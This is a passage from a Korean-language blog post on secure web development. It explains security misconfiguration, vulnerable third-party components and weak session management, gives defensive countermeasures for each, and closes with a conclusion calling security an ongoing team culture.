보안 설정 오류는 특정 코드의 취약점이라기보다는, 애플리케이션, 프레임워크, 웹 서버, 데이터베이스 등 시스템을 구성하는 모든 요소에서 보안 관련 설정이 잘못되었거나 기본값 그대로 방치되어 발생하는 문제입니다. OWASP Top 10에서 꾸준히 상위권을 차지할 만큼 광범위하고 흔하게 발견됩니다.
- 디버그 모드 활성화: 개발 편의를 위해 사용되는 디버그 모드(예: Django의 `DEBUG = True`)가 프로덕션 환경에 그대로 배포되는 경우, 오류 발생 시 상세한 스택 트레이스, 설정값, 소스 코드 일부 등 공격자에게 매우 유용한 내부 정보가 노출될 수 있습니다.
- 불필요한 기능 및 포트: 웹 서버나 애플리케이션 서버에 기본적으로 활성화된 불필요한 기능(샘플 페이지, 관리 콘솔 등)이나 열려 있는 포트는 공격의 통로가 될 수 있습니다.
- 기본 계정 및 암호: 관리자 패널, 데이터베이스, 프레임워크 등에서 제공하는 기본 계정(admin, root 등)과 예측하기 쉬운 비밀번호를 변경하지 않고 사용하는 것은 공격자에게 대문을 열어주는 것과 같습니다.
- 상세한 오류 메시지: SQL Injection 섹션에서도 언급했듯이, 사용자에게 시스템 내부 구조를 유추할 수 있는 상세한 오류 메시지를 보여주는 것은 공격자에게 단서를 제공하는 행위입니다. 프로덕션 환경에서는 "서버 내부 오류가 발생했습니다." 와 같은 일반적인 메시지만을 보여주고, 상세한 로그는 서버 내부에만 기록해야 합니다.
- 누락된 보안 헤더: CSP, HSTS(Strict-Transport-Security), X-Frame-Options, X-Content-Type-Options 와 같은 HTTP 보안 헤더를 설정하지 않으면, 클릭재킹(Clickjacking), MIME 스니핑 등 다양한 공격에 취약해질 수 있습니다.
방어 전략: 체크리스트 기반의 주기적인 설정 검토, 인프라 구성 자동화(Infrastructure as Code), 프로덕션/개발 환경의 완벽한 분리, 보안 하드닝 가이드(CIS Benchmarks 등) 준수가 중요합니다.
취약한 컴포넌트 사용 (Using Components with Known Vulnerabilities)
현대 웹 개발은 수많은 오픈소스 라이브러리와 프레임워크 위에서 이루어집니다. 이러한 컴포넌트들은 개발 속도를 비약적으로 향상시켜 주지만, 만약 우리가 사용하는 컴포넌트에 보안 취약점이 발견된다면, 우리 애플리케이션 역시 해당 취약점에 그대로 노출됩니다. 2021년 전 세계를 강타한 Log4Shell(Log4j 라이브러리 취약점) 사태는 이것이 얼마나 심각한 위협인지를 명확히 보여주었습니다.
방어 전략:
- 정기적인 의존성 검사: `npm audit`, `pip-audit`, `OWASP Dependency-Check`와 같은 도구를 사용하여 프로젝트가 의존하는 모든 라이브러리의 알려진 취약점(CVE)을 정기적으로 스캔하고, CI/CD 파이프라인에 이를 통합하여 자동화해야 합니다.
- 신속한 패치 적용: 취약점이 발견된 컴포넌트는 즉시 안전한 버전으로 업데이트해야 합니다. 이를 위해 의존성 관리 정책을 수립하고, 컴포넌트들의 출처를 신뢰할 수 있는 공식 저장소로 제한하는 것이 좋습니다.
- 불필요한 의존성 제거: 프로젝트에서 더 이상 사용하지 않는 라이브러리는 즉시 제거하여 잠재적인 공격 표면(attack surface)을 줄여야 합니다.
인증 및 세션 관리 취약점 (Broken Authentication and Session Management)
인증 및 세션 관리는 애플리케이션 보안의 핵심이지만, 직접 구현하는 과정에서 많은 실수가 발생합니다.
- 예측 가능한 세션 ID: 세션 ID를 생성할 때 `Math.random()`처럼 암호학적으로 안전하지 않은 난수 생성기를 사용하거나, 사용자 ID나 타임스탬프를 기반으로 생성하면 공격자가 세션 ID를 추측하여 다른 사용자의 세션을 탈취(Session Hijacking)할 수 있습니다. 세션 ID는 반드시 암호학적으로 안전한 난수(CSPRNG)로 생성해야 합니다.
- 안전하지 않은 쿠키 전송: 세션 쿠키에 `Secure` 플래그를 설정하지 않으면, 암호화되지 않은 HTTP 통신을 통해 쿠키가 전송되어 중간자 공격(MITM)에 의해 탈취될 수 있습니다.
- 로그아웃 기능의 부재: 사용자가 로그아웃을 하더라도 서버 측 세션이 제대로 무효화되지 않고, 클라이언트 측의 쿠키만 삭제하는 경우, 공격자가 가로챘던 쿠키를 재사용하여 다시 로그인할 수 있습니다. 로그아웃 시에는 반드시 서버 측 세션을 명확하게 파기해야 합니다.
- 긴 세션 타임아웃: 세션 유효 기간이 너무 길면, 사용자가 자리를 비운 사이 공용 PC 등에서 세션이 탈취될 위험이 커집니다. 서비스의 민감도에 따라 적절한 세션 타임아웃을 설정하고, 일정 시간 활동이 없으면 자동으로 로그아웃시키는 기능이 필요합니다.
방어 전략: 직접 인증 로직을 구현하기보다는, 검증된 프레임워크(Spring Security, Passport.js 등)의 인증 및 세션 관리 기능을 사용하는 것이 훨씬 안전합니다. 또한 다중 인증(MFA), 비밀번호 복잡도 강제, 실패한 로그인 시도에 대한 임계치 설정(Account Lockout)과 같은 추가적인 보안 기능을 도입해야 합니다.
결론: 보안은 문화이자 지속적인 여정
지금까지 개발자들이 코드 작성 시 가장 놓치기 쉬운 핵심적인 웹 취약점들과 그 방어 기법에 대해 깊이 있게 살펴보았습니다. SQL Injection을 막기 위한 Prepared Statements, XSS를 방어하는 출력 인코딩, CSRF를 무력화하는 안티 CSRF 토큰과 SameSite 쿠키 등, 각각의 취약점에는 명확하고 효과적인 해결책이 존재합니다. 중요한 것은 이러한 방어 원리가 '왜' 필요한지를 근본적으로 이해하고, 그것을 습관처럼 코드에 녹여내는 것입니다.
보안은 단순히 몇 가지 기술을 적용한다고 해서 완성되는 것이 아닙니다. 그것은 개발팀 전체가 공유해야 할 문화이자, 끊임없이 학습하고 개선해나가야 하는 지속적인 여정입니다. 오늘 내가 작성한 코드가 내일의 잠재적인 위협이 될 수 있다는 겸손한 자세로, 항상 코드 리뷰를 통해 동료의 코드를 점검하고, 새로운 공격 기법과 방어 기술에 귀를 기울여야 합니다. 시큐어 코딩은 더 이상 선택이 아닌, 프로페셔널 개발자가 갖추어야 할 기본적인 소양입니다.
이 글이 여러분의 코드에 견고한 보안의 기초를 다지는 데 도움이 되었기를 바랍니다. 안전한 웹 세상을 만드는 것은 바로 우리 개발자들의 손에 달려 있습니다.
0 개의 댓글:
Post a Comment